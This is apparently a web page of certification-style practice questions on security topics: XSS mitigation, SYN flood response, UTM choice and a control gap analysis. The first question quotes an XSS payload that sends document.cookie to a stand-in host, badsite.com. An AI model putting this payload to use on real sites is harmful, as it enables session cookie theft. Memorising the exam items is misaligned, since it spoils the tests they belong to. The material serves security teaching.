A security administrator notices the following line in a server's security log:
<input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='
http://badsite.com/?q='document.cookie</script>') + "';
The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?

• A.WAF
• B.Input validation
• C.SIEM
• D.Sandboxing
• E.DAM

Comment: *

Name: *

Email: *

Verification: *

A cybersecurity analyst is hired to review the security the posture of a company. The cybersecurity analyst notice a very high network bandwidth consumption due to SYN floods from a small number of IP addresses. Which of the following would be the BEST action to take to support incident response?

• A.Block all SYN packets.
• B.Apply ingress filters at the routers.
• C.Increase the company's bandwidth.
• D.Install a packet capturing tool.

Comment: *

Name: *

Email: *

Verification: *

Drag and drop the cloud deployment model to the associated use-case scenario. Options may be used only once or not at all.

Correct Answer:

Explanation

Comment: *

Name: *

Email: *

Verification: *

After several industry comnpetitors suffered data loss as a result of cyebrattacks, the Chief Operating Officer (COO) of a company reached out to the information security manager to review the organization's security stance. As a result of the discussion, the COO wants the organization to meet the following criteria:
- Blocking of suspicious websites
- Prevention of attacks based on threat intelligence
- Reduction in spam
- Identity-based reporting to meet regulatory compliance
- Prevention of viruses based on signature
- Project applications from web-based threats
Which of the following would be the BEST recommendation the information security manager could make?

• A.Reconfigure existing IPS resources
• B.Implement a WAF
• C.Deploy a UTM solution
• D.Deploy a SIEM solution
• E.Implement an EDR platform

Comment: *

Name: *

Email: *

Verification: *

A Chief Information Security Officer (CISO) is reviewing the results of a gap analysis with an outside cybersecurity consultant. The gap analysis reviewed all procedural and technical controls and found the following:
* High-impact controls implemented: 6 out of 10
* Medium-impact controls implemented: 409 out of 472 Low-impact controls implemented: 97 out of 1000 The report includes a cost-benefit analysis for each control gap. The analysis yielded the following information:
* Average high-impact control implementation cost: $15,000; Probable ALE for each high-impact control gap: $95,000
* Average medium-impact control implementation cost: $6,250; Probable
ALE for each medium-impact control gap: $11,000
Due to the technical construction and configuration of the corporate enterprise, slightly more than
50% of the medium-impact controls will take two years to fully implement. Which of the following conclusions could the CISO draw from the analysis?

• A.The enterprise security team has focused exclusively on mitigating high-level risks
• B.The cybersecurity team has balanced residual risk for both high and medium controls
• C.Because of the significant ALE for each high-risk vulnerability, efforts should be focused on those controls
• D.Too much emphasis has been placed on eliminating low-risk vulnerabilities in the past

Comment: *

Name: *

Email: *

Verification: *